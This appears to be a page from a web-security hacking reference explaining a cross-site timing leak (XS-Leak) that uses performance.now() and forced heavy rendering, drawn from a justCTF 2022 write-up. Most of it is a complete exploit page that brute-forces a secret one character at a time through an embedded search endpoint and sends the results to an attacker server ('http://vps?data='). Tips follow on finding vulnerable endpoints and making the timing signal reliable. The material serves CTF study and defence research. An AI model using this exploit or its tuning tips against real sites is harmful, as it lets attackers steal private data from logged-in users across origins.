performance.now + Force heavy task

Exploit taken from https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.

The important idea is that the oracle is not just the request time. The attacker intentionally makes one branch do much more work than the other one, and then measures the difference with performance.now() around an embedded cross-origin navigation. In practice the extra work can come from larger reflected HTML/text, more DOM nodes to parse/layout/paint, or even expensive validation/highlighting logic that only happens in one branch.

Warning

Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.

<!DOCTYPE html>
<html>
  <head> </head>
  <body>
    <img src="https://deelay.me/30000/https://example.com" />
    <script>
      fetch("https://deelay.me/30000/https://example.com")

      function send(data) {
        fetch("http://vps?data=" + encodeURIComponent(data)).catch((err) => 1)
      }

      function leak(char, callback) {
        return new Promise((resolve) => {
          let ss = "just_random_string"
          let url =
            `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=` +
            ss[Math.floor(Math.random() * ss.length)].repeat(1000000)
          let start = performance.now()
          let object = document.createElement("object")
          object.width = "2000px"
          object.height = "2000px"
          object.data = url
          object.onload = () => {
            object.remove()
            let end = performance.now()
            resolve(end - start)
          }
          object.onerror = () => console.log("Error event triggered")
          document.body.appendChild(object)
        })
      }

      send("start")

      let charset = "abcdefghijklmnopqrstuvwxyz_}".split("")
      let flag = "justCTF{"

      async function main() {
        let found = 0
        let notFound = 0
        for (let i = 0; i < 3; i++) {
          await leak("..")
        }
        for (let i = 0; i < 3; i++) {
          found += await leak("justCTF")
        }
        for (let i = 0; i < 3; i++) {
          notFound += await leak("NOT_FOUND123")
        }

        found /= 3
        notFound /= 3

        send("found flag:" + found)
        send("not found flag:" + notFound)

        let threshold = found - (found - notFound) / 2
        send("threshold:" + threshold)

        if (notFound > found) {
          return
        }

        // exploit
        while (true) {
          if (flag[flag.length - 1] === "}") {
            break
          }
          for (let char of charset) {
            let trying = flag + char
            let time = 0
            for (let i = 0; i < 3; i++) {
              time += await leak(trying)
            }
            time /= 3
            send("char:" + trying + ",time:" + time)
            if (time >= threshold) {
              flag += char
              send(flag)
              break
            }
          }
        }
      }

      main()
    </script>
  </body>
</html>

When this works best

This pattern is most useful when a candidate query changes how expensive the target page is to process, not only the response status code. Typical places to look for this are:

  • Search endpoints that reflect a very large body only on a hit.
  • Preview/render endpoints (Markdown, HTML, syntax highlighting, diff viewers) where one branch creates much more DOM/layout work.
  • Validation/filtering gadgets where one input triggers expensive parsing, regex processing, highlighting, or templating while the other branch exits fast.
  • Same-site HTML injection scenarios where you can embed an authenticated endpoint with <object> / <iframe> and turn a hit/miss difference into a timing oracle.

If the hit/miss difference is only a few bytes on the wire, the signal is usually too noisy. The trick becomes practical when you can amplify the positive or negative branch into a clearly heavier parse/render/application task.

Practical reliability notes

  • Warm up first: the first few measurements are often skewed by DNS, TCP/TLS setup, process scheduling, or JIT compilation. Do a few dummy requests before calibrating the threshold.
  • Defeat caches explicitly: add random query parameters or random filler so repeated probes do not collapse into the HTTP cache or a reused application result.
  • Compression can kill the signal: if the only difference is repeated text, gzip/brotli can shrink it heavily. Prefer responses that also increase DOM size, layout work, or client-side processing time.
  • Keep the embedded viewport large and deterministic: fixed width/height on <object> or <iframe> helps because a tiny default viewport may hide the rendering cost you are trying to amplify.
  • Use median/average from several runs: recompute a threshold from a known-hit and a known-miss sample, then classify each candidate with multiple probes instead of trusting one measurement.
  • If timer precision is coarse, amplify the task more: a forced branch that regularly creates 50ms+ long tasks can sometimes still be classified with other clocks or PerformanceObserver, but only if the branch is truly heavy.

For alternative clocks and contention-based variants, also check:

event-loop-blocking-+-lazy-images.md

References